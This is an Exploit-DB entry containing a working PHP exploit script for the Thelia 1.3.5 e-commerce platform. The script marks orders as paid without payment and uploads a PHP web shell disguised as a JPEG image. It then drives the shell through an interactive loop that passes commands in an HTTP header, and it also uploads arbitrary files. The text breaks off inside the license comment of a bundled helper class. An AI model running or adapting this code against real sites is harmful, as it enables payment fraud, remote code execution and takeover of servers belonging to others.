Exploit-DB #6006
Description: Thelia 1.3.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-05
Author: BlackH

Exploit:
#!/usr/bin/php
<?php

#
# ------- Thelia 1.3.5 Multiple Vulnerability Exploit
# http://www.thelia.fr/
# THELIA est un logiciel Ã©volutif de Commerce Electronique. THELIA se distingue des applications concurrentes par sa facilitÃ© de personnalisation.
# A new version (1.3.6.1)  is avaible on www.thelia.fr/fichiers/thelia_1.3.6.1.zip
#
# Black_H :)
#

error_reporting(E_ALL ^ E_NOTICE);
if($argc < 3)
{
echo "
=___________ Thelia 1.3.5 Multiple Vulnerability Exploit  _____________=
========================================================================
|                  Black_H <Bl4ck.H@gmail.com>                         |
|          URL: http://blackh.free.fr - http://blackh.eu               |
========================================================================
| \$system> $argv[0] -url <> -a <1,2,3> -n <> -f <>                   |
| Notes: -url       ex: http://victim.com/site/                        |
|         -a        1 : Validate Command without Payment               |
|                           -n Commmand number (ex: CDE5627JOC )       |
|                   2 : Remote Code Execution                          |
|                           -n Rubrique id  (ex: 1 )                   |
|                   3 : Remote File Upload                             |
|                           -n Rubrique id  (ex: 1 )                   |
|                           -f Name of file (ex: leet.php )            |
| For 2 and 3, the '/client/' directory  must not be forbidden         |
========================================================================
";exit(1);
}

$url = getparam('url',1);
$action = getparam('a',1);
$n = getparam('n',1);
$f = getparam('f',0);

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");

switch($action) {

	case '1':
		valid_command($n);
	break;
	case '2':
		remote_exec($n);
	break;	
	case '3':
		remote_upload($n, $f);
	break;
	default:
		die('Please choose an action.');
	break;

}

# Validate Command without Payment
function valid_command($n) {
	global $xpl, $url;
	
	echo "\n[-] Change command statut";
	echo "\n[-] Command: ".$n;
	
	
		 if($xpl->post($url.'admin/commande_details.php?ref='.$n, 'ref='.$n.'&statutch=2'))	
				die("\n[!] Done - Command is now 'paid' :))\n");	
		else die("\n[!] Error - Maybe the code isn't good\n");
	
	exit(1);
}

# Remote Code Execution Exploit
function remote_exec($n) {
	global $xpl, $url;
	
	echo "\n[-] Remote Code Execution";

	if(is_forbidden($url)) die("\n[!] Error - The /client/ directory is forbidden\n");
		
	$code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';
	$form = array(frmdt_url => $url.'admin/photo_rubrique.php',
                  'action' => 'ajouter',
                  'rubid' => $n,
                  'photo1' => array(frmdt_filename => 'tapz.php',
                                      frmdt_type => 'image/jpeg',
                                      frmdt_content => $code));

	if($xpl->formdata($form)) echo "\n[!] Done - Start Shell";
	else die("\n[!] Error - Maybe the id isn't good\n");

	$get = $xpl->get($url.'client/gfx/photos/rubrique/');
	$tmp = preg_match('#tapz_([0-9]*).php#', $get, $file);

	print "\n\$> ";

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
    $xpl->addheader('SHELL',$cmd);
    $xpl->get($url.'client/gfx/photos/rubrique/'.$file[0]);	
    print $xpl->getcontent()."\n\$> ";
}
}

# Remote File Upload
function remote_upload($n, $f) {
	global $xpl, $url;
	
	echo "\n[-] Remote File Upload";
	
	if(is_forbidden($url)) die("\n[!] Error - The /client/ directory is forbidden\n");

	$code = file_get_contents($f);
	$form = array(frmdt_url => $url.'admin/photo_rubrique.php',
                  'action' => 'ajouter',
                  'rubid' => $n,
                  'photo1' => array(frmdt_filename => $f,
                                      frmdt_type => 'image/jpeg',
                                      frmdt_content => $code));
	
	if($xpl->formdata($form) && $code) echo "\n[!] Done - Now go on $url/client/gfx/photos/rubrique";
	else die("\n[!] Error - Maybe the id isn't good\n");

}

function is_forbidden($url) {
	global $xpl, $url;

	$get = $xpl->get($url.'/client/');
		if (preg_match('#Forbidden#i', $get)) return true;
		else return false;
}

# GetParam, function from acid-root.new.fr
function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) return $argv[$value+1];
	}
	if($opt) exit("\n#error -$param parameter required");
	else return;
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also